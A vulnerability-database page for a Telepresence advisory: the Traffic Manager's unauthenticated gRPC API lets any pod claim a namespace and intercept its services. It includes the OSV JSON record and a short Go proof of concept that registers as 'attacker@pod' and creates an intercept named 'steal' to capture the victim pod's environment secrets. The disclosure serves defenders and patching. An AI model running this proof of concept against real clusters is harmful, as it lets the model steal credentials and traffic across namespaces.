GHSA-J8J4-RW65-56R6
Vulnerability from github – Published: 2026-11-09 21:59 – Updated: 2026-11-09 21:59Summary
Telepresence's Traffic Manager gRPC API (port 8081) requires no authentication. Any pod with cluster-network access to the Traffic Manager can register as a client in an arbitrary managed namespace and create intercepts against services in that namespace, regardless of Kubernetes RBAC. On interception the victim pod's complete container environment (secrets, tokens, API keys) is delivered to the attacker. Tested on HEAD v2.28.0, commit b2231a4.
Details
The gRPC server is started with no auth interceptor (pkg/grpc/server/server.go). The connection uses plaintext: grpc.WithTransportCredentials(insecure.NewCredentials()).
ArriveAsClient stores the caller-supplied Namespace without verifying the caller is in that namespace. The only gate is whether the namespace is in the Traffic Manager's watchlist (ManagesNamespace):
// cmd/traffic/cmd/manager/service.go:181-201
func (s *service) ArriveAsClient(..., client *rpc.ClientInfo) (*rpc.SessionInfo, error) {
if !s.State().ManagesNamespace(ctx, client.Namespace) {
return nil, status.Error(codes.FailedPrecondition, ...)
}
// No SAR, no bearer token, no kubeconfig check
return &rpc.SessionInfo{SessionId: string(s.state.AddClient(client, ...))}, nil
}
CreateIntercept calls managedTargetNamespace() which also only checks ManagesNamespace(target_ns) — never that the target equals the client's own registered namespace (service.go:929). A session registered in namespace A can intercept namespace B as long as B is also watched. On interception, the victim pod's full container environment is forwarded via intercept.Environment = rIReq.Environment.
Proof of Concept
From any pod in the cluster:
conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)
session, _ := mgr.ArriveAsClient(ctx, &rpc.ClientInfo{
Name: "attacker@pod", Namespace: "payments",
InstallId: uuid.NewString(), Product: "telepresence", Version: "2.20.0",
})
mgr.CreateIntercept(ctx, &rpc.CreateInterceptRequest{
Session: session,
InterceptSpec: &rpc.InterceptSpec{
Name: "steal", Agent: "payments-api", Namespace: "payments",
Mechanism: "tcp", Client: "attacker@pod",
},
})
Supplying a namespace not in the TM watchlist returns FailedPrecondition, confirming the only gate is the watchlist check.
Impact
Any pod operator in the cluster can intercept services in namespaces they have no Kubernetes RBAC access to, receiving all traffic and environment variables. In the default cluster-wide Traffic Manager deployment all namespaces are managed. Secrets mounted as environment variables (database passwords, API keys, service account tokens) are exfiltrated with no audit trail on the victim namespace.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/telepresenceio/telepresence"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-102340"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-09T21:59:49Z",
"nvd_published_at": "2026-11-04T21:17:40Z",
"severity": "HIGH"
},
"details": "## Summary\n\nTelepresence\u0027s Traffic Manager gRPC API (port 8081) requires no authentication. Any pod with cluster-network access to the Traffic Manager can register as a client in an arbitrary managed namespace and create intercepts against services in that namespace, regardless of Kubernetes RBAC. On interception the victim pod\u0027s complete container environment (secrets, tokens, API keys) is delivered to the attacker. Tested on HEAD v2.28.0, commit b2231a4.\n\n## Details\n\nThe gRPC server is started with no auth interceptor (pkg/grpc/server/server.go). The connection uses plaintext: `grpc.WithTransportCredentials(insecure.NewCredentials())`.\n\n`ArriveAsClient` stores the caller-supplied `Namespace` without verifying the caller is in that namespace. The only gate is whether the namespace is in the Traffic Manager\u0027s watchlist (`ManagesNamespace`):\n\n```go\n// cmd/traffic/cmd/manager/service.go:181-201\nfunc (s *service) ArriveAsClient(..., client *rpc.ClientInfo) (*rpc.SessionInfo, error) {\n if !s.State().ManagesNamespace(ctx, client.Namespace) {\n return nil, status.Error(codes.FailedPrecondition, ...)\n }\n // No SAR, no bearer token, no kubeconfig check\n return \u0026rpc.SessionInfo{SessionId: string(s.state.AddClient(client, ...))}, nil\n}\n```\n\n`CreateIntercept` calls `managedTargetNamespace()` which also only checks `ManagesNamespace(target_ns)` \u2014 never that the target equals the client\u0027s own registered namespace (service.go:929). A session registered in namespace A can intercept namespace B as long as B is also watched. On interception, the victim pod\u0027s full container environment is forwarded via `intercept.Environment = rIReq.Environment`.\n\n## Proof of Concept\n\nFrom any pod in the cluster:\n\n```go\nconn, _ := grpc.NewClient(\"traffic-manager.ambassador:8081\",\n grpc.WithTransportCredentials(insecure.NewCredentials()))\nmgr := rpc.NewManagerClient(conn)\n\nsession, _ := mgr.ArriveAsClient(ctx, \u0026rpc.ClientInfo{\n Name: \"attacker@pod\", Namespace: \"payments\",\n InstallId: uuid.NewString(), Product: \"telepresence\", Version: \"2.20.0\",\n})\n\nmgr.CreateIntercept(ctx, \u0026rpc.CreateInterceptRequest{\n Session: session,\n InterceptSpec: \u0026rpc.InterceptSpec{\n Name: \"steal\", Agent: \"payments-api\", Namespace: \"payments\",\n Mechanism: \"tcp\", Client: \"attacker@pod\",\n },\n})\n```\n\nSupplying a namespace not in the TM watchlist returns FailedPrecondition, confirming the only gate is the watchlist check.\n\n## Impact\n\nAny pod operator in the cluster can intercept services in namespaces they have no Kubernetes RBAC access to, receiving all traffic and environment variables. In the default cluster-wide Traffic Manager deployment all namespaces are managed.\nSecrets mounted as environment variables (database passwords, API keys, service account tokens) are exfiltrated with no audit trail on the victim namespace.",
"id": "GHSA-j8j4-rw65-56r6",
"modified": "2026-11-09T21:59:49Z",
"published": "2026-11-09T21:59:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/telepresenceio/telepresence/security/advisories/GHSA-j8j4-rw65-56r6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102340"
},
{
"type": "WEB",
"url": "https://github.com/telepresenceio/telepresence/pull/4217"
},
{
"type": "WEB",
"url": "https://github.com/telepresenceio/telepresence/commit/04ec3464fe8878fdc96420cdc8036edefa0dc9ae"
},
{
"type": "WEB",
"url": "https://github.com/telepresenceio/telepresence/commit/36458b65a010d2b316af48cd90e193ba190785d9"
},
{
"type": "WEB",
"url": "https://github.com/telepresenceio/telepresence/commit/6871235b674a6e843908d09696354c4b0f91578c"
},
{
"type": "PACKAGE",
"url": "https://github.com/telepresenceio/telepresence"
},
{
"type": "WEB",
"url": "https://github.com/telepresenceio/telepresence/releases/tag/v2.31.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Telepresence: Traffic Manager gRPC has no auth \u2014 any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.